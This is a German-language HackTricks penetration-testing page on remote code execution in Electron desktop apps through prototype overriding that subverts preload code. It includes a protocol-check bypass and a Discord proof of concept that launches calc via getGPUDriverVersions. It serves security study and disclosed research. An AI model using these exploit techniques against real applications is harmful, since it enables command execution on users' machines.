hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md

106 lines
6 KiB
Markdown

# Electron contextIsolation RCE via preload code
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
## Beispiel 1
Beispiel von [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
Dieser Code öffnet http(s) Links mit dem Standardbrowser:
![](<../../../.gitbook/assets/image (768).png>)
Etwas wie `file:///C:/Windows/systemd32/calc.exe` könnte verwendet werden, um einen Rechner auszuführen, das `SAFE_PROTOCOLS.indexOf` verhindert dies.
Daher könnte ein Angreifer diesen JS-Code über XSS oder beliebige Seitennavigation injizieren:
```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
```
Da der Aufruf von `SAFE_PROTOCOLS.indexOf` immer 1337 zurückgibt, kann der Angreifer den Schutz umgehen und den calc ausführen. Finaler Exploit:
```html
<script>
Array.prototype.indexOf = function(){
return 1337;
}
</script>
<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
```
Überprüfen Sie die ursprünglichen Folien auf andere Möglichkeiten, Programme auszuführen, ohne dass eine Eingabeaufforderung nach Berechtigungen fragt.
Offensichtlich gibt es eine weitere Möglichkeit, Code zu laden und auszuführen, indem man auf etwas wie `file://127.0.0.1/electron/rce.jar` zugreift.
## Beispiel 2: Discord App RCE
Beispiel von [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
Bei der Überprüfung der Preload-Skripte stellte ich fest, dass Discord die Funktion exponiert, die es ermöglicht, einige erlaubte Module über `DiscordNative.nativeModules.requireModule('MODULE-NAME')` in die Webseite aufzurufen.\
Hier konnte ich keine Module verwenden, die direkt für RCE verwendet werden können, wie das _child\_process_ Modul, aber ich **fand einen Code, bei dem RCE erreicht werden kann, indem die eingebauten JavaScript-Methoden überschrieben werden** und die Ausführung des exponierten Moduls gestört wird.
Das Folgende ist der PoC. Ich konnte bestätigen, dass die **calc**-Anwendung **aufpoppt**, wenn ich die **`getGPUDriverVersions`-Funktion** aufrufe, die im Modul "_discord\_utils_" aus den DevTools definiert ist, während ich **`RegExp.prototype.test` und `Array.prototype.join` überschreibe**.
```javascript
RegExp.prototype.test=function(){
return false;
}
Array.prototype.join=function(){
return "calc";
}
DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
```
Die `getGPUDriverVersions`-Funktion versucht, das Programm mit der "_execa_"-Bibliothek auszuführen, wie folgt:
```javascript
module.exports.getGPUDriverVersions = async () => {
if (process.platform !== 'win32') {
return {};
}
const result = {};
const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
try {
result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
} catch (e) {
result.nvidia = {error: e.toString()};
}
return result;
};
```
Normalerweise versucht _execa_, "_nvidia-smi.exe_" auszuführen, das in der `nvidiaSmiPath`-Variablen angegeben ist. Aufgrund der überschriebenen `RegExp.prototype.test` und `Array.prototype.join` **wird das Argument jedoch in der internen Verarbeitung von \_execa**\_** durch "**_**calc**_**" ersetzt**.
Konkret wird das Argument durch die Änderung der folgenden zwei Teile ersetzt.
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}